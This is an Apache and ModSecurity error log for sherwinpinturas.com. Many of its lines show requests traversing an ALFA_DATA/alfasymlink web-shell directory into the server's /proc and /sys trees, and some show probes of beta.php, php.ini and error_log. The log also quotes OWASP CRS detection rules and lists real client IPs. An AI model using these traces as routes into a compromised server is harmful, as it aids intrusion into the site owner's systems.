[Tue Oct 27 13:52:59.934761 2026] [ssl:error] [pid 3276404:tid 3276404] (70014)End of file found: [client 54.83.56.1:5145] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:53:27.950306 2026] [ssl:error] [pid 3274868:tid 3274868] (70014)End of file found: [client 44.215.235.20:30097] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:53:27.950533 2026] [security2:error] [pid 3274868:tid 3274868] [client 44.215.235.20:30097] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/virtio-pci/0000:00:05.0/driver_override"] [unique_id "auDlF-evdkpb9NpkV1gtVwAAABc"]
[Tue Oct 27 13:53:27.950557 2026] [security2:error] [pid 3274868:tid 3274868] [client 44.215.235.20:30097] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/virtio-pci/0000:00:05.0/driver_override"] [unique_id "auDlF-evdkpb9NpkV1gtVwAAABc"]
[Tue Oct 27 13:53:36.312608 2026] [core:error] [pid 3276404:tid 3276404] (13)Permission denied: [client 185.191.171.16:40622] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/LNXPWRBN:00/driver/unbind
[Tue Oct 27 13:53:43.908887 2026] [ssl:error] [pid 3274878:tid 3274878] (70014)End of file found: [client 52.204.71.8:59571] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:53:47.905054 2026] [ssl:error] [pid 3274346:tid 3274346] (70014)End of file found: [client 34.194.226.74:23261] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:53:52.200422 2026] [core:error] [pid 3274807:tid 3274807] (13)Permission denied: [client 100.29.107.38:25425] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/PNP0A03:00/device:1d/eject
[Tue Oct 27 13:53:55.808203 2026] [security2:error] [pid 3274954:tid 3274954] [client 52.4.213.199:5096] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/device/device/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/"] [unique_id "auDlM5INvLjD_VeFzXTe5AAAAAI"]
[Tue Oct 27 13:53:55.808271 2026] [security2:error] [pid 3274954:tid 3274954] [client 52.4.213.199:5096] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/device/device/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/"] [unique_id "auDlM5INvLjD_VeFzXTe5AAAAAI"]
[Tue Oct 27 13:54:01.788849 2026] [ssl:error] [pid 3274878:tid 3274878] (70014)End of file found: [client 185.191.171.5:59190] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:54:04.149073 2026] [ssl:error] [pid 3274868:tid 3274868] (70014)End of file found: [client 52.7.33.248:41701] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:54:07.947377 2026] [ssl:error] [pid 3274807:tid 3274807] (70014)End of file found: [client 23.20.178.124:12404] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:54:09.198642 2026] [core:error] [pid 3274954:tid 3274954] (13)Permission denied: [client 185.191.171.4:58910] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/hid/drivers/hid-sensor-hub/uevent
[Tue Oct 27 13:54:15.911699 2026] [ssl:error] [pid 3274878:tid 3274878] (70014)End of file found: [client 18.207.79.144:6600] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:54:17.067236 2026] [core:error] [pid 3274868:tid 3274868] (13)Permission denied: [client 185.191.171.11:19398] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/42/net/rpc/auth.unix.ip/flush
[Tue Oct 27 13:54:40.077419 2026] [ssl:error] [pid 3274868:tid 3274868] (70014)End of file found: [client 34.206.212.24:53551] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:54:50.146844 2026] [security2:error] [pid 3274231:tid 3274231] [client 107.172.76.131:61432] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDlXw5mMRwZXBs6K04N9gAAAAs"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 13:54:50.146897 2026] [security2:error] [pid 3274231:tid 3274231] [client 107.172.76.131:61432] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDlXw5mMRwZXBs6K04N9gAAAAs"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 13:55:19.786641 2026] [core:error] [pid 3274346:tid 3274346] (13)Permission denied: [client 23.23.137.202:50596] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/subsystem/input4/device/subsystem/drivers/atkbd/unbind
[Tue Oct 27 13:55:55.777273 2026] [ssl:error] [pid 3274346:tid 3274346] (70014)End of file found: [client 52.54.95.127:31655] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:55:59.772356 2026] [ssl:error] [pid 3274878:tid 3274878] (70014)End of file found: [client 98.82.39.241:59895] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:56:12.965205 2026] [security2:error] [pid 3268402:tid 3268402] [client 43.153.19.83:34474] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimox2.php"] [unique_id "auDlvFkSJh9YctB3ycD1lgAAACw"]
[Tue Oct 27 13:56:19.961780 2026] [core:error] [pid 3269335:tid 3269335] (13)Permission denied: [client 54.197.114.76:16175] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:05.0/resource4_wc
[Tue Oct 27 13:56:31.866750 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 52.4.76.156:28842] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:56:35.741601 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 34.224.9.144:29290] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:56:39.797323 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 34.206.193.60:1553] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:56:43.969789 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 54.197.178.107:2941] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:56:51.890549 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 34.236.135.14:56068] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:56:55.723290 2026] [ssl:error] [pid 3270132:tid 3270132] (70014)End of file found: [client 34.224.9.144:6186] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:56:59.851094 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 54.197.114.76:27681] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:57:07.778936 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 52.71.203.206:27827] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:57:15.771728 2026] [ssl:error] [pid 3270132:tid 3270132] (70014)End of file found: [client 44.212.131.50:9109] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:57:23.002657 2026] [security2:error] [pid 3269335:tid 3269335] [client 185.191.171.10:44664] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib/tmpfiles.d/libselinux.conf"] [unique_id "auDmAwbf3KFtuIsifZNJlQAAAAA"]
[Tue Oct 27 13:57:23.003135 2026] [security2:error] [pid 3269335:tid 3269335] [client 185.191.171.10:44664] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib/tmpfiles.d/libselinux.conf"] [unique_id "auDmAwbf3KFtuIsifZNJlQAAAAA"]
[Tue Oct 27 13:57:23.003438 2026] [security2:error] [pid 3269335:tid 3269335] [client 185.191.171.10:44664] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib/tmpfiles.d/libselinux.conf"] [unique_id "auDmAwbf3KFtuIsifZNJlQAAAAA"]
[Tue Oct 27 13:57:29.456034 2026] [security2:error] [pid 3274958:tid 3274958] [client 107.172.76.131:61488] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDl_iV9weLflj7gQaW3JAAAAAo"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 13:57:29.456087 2026] [security2:error] [pid 3274958:tid 3274958] [client 107.172.76.131:61488] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDl_iV9weLflj7gQaW3JAAAAAo"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 13:57:34.667951 2026] [core:error] [pid 3274954:tid 3274954] (13)Permission denied: [client 185.191.171.9:10706] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/28/net/rpc/auth.unix.ip/content
[Tue Oct 27 13:57:35.889199 2026] [ssl:error] [pid 3270132:tid 3270132] (70014)End of file found: [client 23.21.204.95:7088] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:57:39.750091 2026] [ssl:error] [pid 3274878:tid 3274878] (70014)End of file found: [client 35.174.141.243:36387] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:57:43.734093 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 52.7.13.143:24357] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:57:47.357888 2026] [ssl:error] [pid 3274706:tid 3274706] (70014)End of file found: [client 85.208.96.200:41768] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:57:48.154803 2026] [ssl:error] [pid 3270132:tid 3270132] (70014)End of file found: [client 54.225.148.123:4685] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:57:59.687469 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 35.169.102.85:49582] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:58:07.810811 2026] [ssl:error] [pid 3274862:tid 3274862] (70014)End of file found: [client 52.71.46.142:55443] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:58:15.856898 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 52.0.41.164:57342] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:58:21.529918 2026] [security2:error] [pid 3274706:tid 3274706] [client 85.208.96.198:59738] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/locale/tai/LC_MESSAGES/"] [unique_id "auDmPQoyJtJSP9voS0aIXQAAAAM"]
[Tue Oct 27 13:58:21.529963 2026] [security2:error] [pid 3274706:tid 3274706] [client 85.208.96.198:59738] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/locale/tai/LC_MESSAGES/"] [unique_id "auDmPQoyJtJSP9voS0aIXQAAAAM"]
[Tue Oct 27 13:58:23.934702 2026] [ssl:error] [pid 3270132:tid 3270132] (70014)End of file found: [client 44.195.50.71:33751] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:58:31.780981 2026] [ssl:error] [pid 3274706:tid 3274706] (70014)End of file found: [client 52.203.152.231:55287] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:58:32.451163 2026] [security2:error] [pid 3270132:tid 3270132] [client 185.191.171.16:12124] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib/tmpfiles.d/systemd-pstore.conf"] [unique_id "auDmSM12Z0h54eBnbA_oZAAAAAQ"]
[Tue Oct 27 13:58:32.451460 2026] [security2:error] [pid 3270132:tid 3270132] [client 185.191.171.16:12124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib/tmpfiles.d/systemd-pstore.conf"] [unique_id "auDmSM12Z0h54eBnbA_oZAAAAAQ"]
[Tue Oct 27 13:58:32.451745 2026] [security2:error] [pid 3270132:tid 3270132] [client 185.191.171.16:12124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib/tmpfiles.d/systemd-pstore.conf"] [unique_id "auDmSM12Z0h54eBnbA_oZAAAAAQ"]
[Tue Oct 27 13:58:35.758314 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 18.232.12.157:25888] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:58:43.813815 2026] [ssl:error] [pid 3274231:tid 3274231] (70014)End of file found: [client 52.205.113.104:35426] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:58:47.698321 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 52.203.152.231:9519] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:58:51.705739 2026] [ssl:error] [pid 3274862:tid 3274862] (70014)End of file found: [client 34.227.234.246:15230] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:58:55.746169 2026] [core:error] [pid 3274231:tid 3274231] (13)Permission denied: [client 18.205.91.101:43105] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/rescan
[Tue Oct 27 13:58:59.705760 2026] [ssl:error] [pid 3274800:tid 3274800] (70014)End of file found: [client 52.0.41.164:18060] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:59:07.953753 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 52.54.157.23:63551] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:59:15.790391 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 100.28.57.133:26403] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:59:19.785492 2026] [ssl:error] [pid 3274862:tid 3274862] (70014)End of file found: [client 34.225.138.57:48193] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:59:47.736703 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 54.235.172.96:14926] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:59:55.853910 2026] [ssl:error] [pid 3274862:tid 3274862] (70014)End of file found: [client 98.82.66.172:34669] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:59:59.794026 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 3.224.215.150:45100] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:00:32.008432 2026] [ssl:error] [pid 3274862:tid 3274862] (5)Input/output error: [client 34.194.233.48:31797] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:00:42.921401 2026] [core:error] [pid 3274706:tid 3274706] (13)Permission denied: [client 85.208.96.205:47506] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/min_partial
[Tue Oct 27 14:00:45.540792 2026] [security2:error] [pid 3274878:tid 3274878] [client 85.208.96.194:18910] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/ojs/install.php"] [unique_id "auDmze31Q9Datu6SAVXuMwAAAAY"]
[Tue Oct 27 14:00:45.540858 2026] [security2:error] [pid 3274878:tid 3274878] [client 85.208.96.194:18910] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/ojs/install.php"] [unique_id "auDmze31Q9Datu6SAVXuMwAAAAY"]
[Tue Oct 27 14:00:55.925692 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 100.29.160.53:14426] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:00:56.460274 2026] [core:error] [pid 3274958:tid 3274958] (13)Permission denied: [client 185.191.171.19:34608] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-2k/shrink
[Tue Oct 27 14:01:03.788631 2026] [ssl:error] [pid 3269335:tid 3269335] (5)Input/output error: [client 34.204.150.196:61535] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:01:07.915180 2026] [ssl:error] [pid 3274958:tid 3274958] (70014)End of file found: [client 54.86.59.155:15622] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:01:11.855685 2026] [ssl:error] [pid 3274807:tid 3274807] (70014)End of file found: [client 3.94.157.25:6105] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:01:15.830823 2026] [core:error] [pid 3269335:tid 3269335] (13)Permission denied: [client 54.235.158.162:11639] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory1/node0/cpu0/driver/bind
[Tue Oct 27 14:01:31.763531 2026] [core:error] [pid 3274958:tid 3274958] (13)Permission denied: [client 54.225.181.161:36755] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/device:01/wakeup/wakeup1/device/subsystem/drivers/hardware_error_device/bind
[Tue Oct 27 14:01:35.828605 2026] [ssl:error] [pid 3274807:tid 3274807] (70014)End of file found: [client 54.197.82.195:17124] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:01:51.975961 2026] [ssl:error] [pid 3274807:tid 3274807] (70014)End of file found: [client 100.29.34.97:39785] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:01:55.870948 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 44.221.37.41:38886] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:02:02.698098 2026] [core:error] [pid 3274231:tid 3274231] (13)Permission denied: [client 85.208.96.198:32230] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UNIX/order
[Tue Oct 27 14:02:07.725869 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 52.44.229.124:3040] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:02:23.767690 2026] [ssl:error] [pid 3274800:tid 3274800] (70014)End of file found: [client 100.28.44.58:13050] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:02:27.843027 2026] [ssl:error] [pid 3274572:tid 3274572] (5)Input/output error: [client 98.83.10.183:17393] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:02:35.840680 2026] [ssl:error] [pid 3274868:tid 3274868] (70014)End of file found: [client 18.209.137.234:62240] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:02:43.926431 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 54.80.185.200:30407] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:02:47.954446 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 34.194.14.255:51100] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:02:51.685703 2026] [ssl:error] [pid 3277916:tid 3277916] (70014)End of file found: [client 44.205.120.22:29744] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:03:00.009553 2026] [ssl:error] [pid 3274231:tid 3274231] (70014)End of file found: [client 54.83.240.58:43192] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:03:07.129672 2026] [authz_core:error] [pid 3277916:tid 3277916] [client 195.178.110.50:35176] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 14:03:47.855395 2026] [core:error] [pid 3277916:tid 3277916] (13)Permission denied: [client 44.214.19.8:11017] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/driver/new_id
[Tue Oct 27 14:03:49.407298 2026] [security2:error] [pid 3276404:tid 3276404] [client 123.207.65.62:60038] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "auDnhXT0XCUN1jDVucwxjgAAAAE"], referer: http://sherwinpinturas.com
[Tue Oct 27 14:03:49.420756 2026] [authz_core:error] [pid 3276404:tid 3276404] [client 123.207.65.62:60038] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Tue Oct 27 14:04:02.892801 2026] [ssl:error] [pid 3274868:tid 3274868] (70014)End of file found: [client 185.191.171.12:40396] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:04:08.022007 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 52.0.63.151:12780] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:04:11.989782 2026] [ssl:error] [pid 3274958:tid 3274958] (70014)End of file found: [client 44.218.170.184:49953] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:04:27.686313 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 44.209.187.99:62379] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:04:32.155229 2026] [ssl:error] [pid 3274807:tid 3274807] (70014)End of file found: [client 44.213.36.21:38524] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:04:40.905050 2026] [security2:error] [pid 3270132:tid 3270132] [client 107.172.76.131:61597] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDnrM12Z0h54eBnbA_oewAAAAQ"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 14:04:40.905153 2026] [security2:error] [pid 3270132:tid 3270132] [client 107.172.76.131:61597] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDnrM12Z0h54eBnbA_oewAAAAQ"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 14:04:43.852784 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 18.214.124.6:29277] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:04:55.913780 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 34.227.234.246:60061] AH02013: coalesce failed to read from data bucket
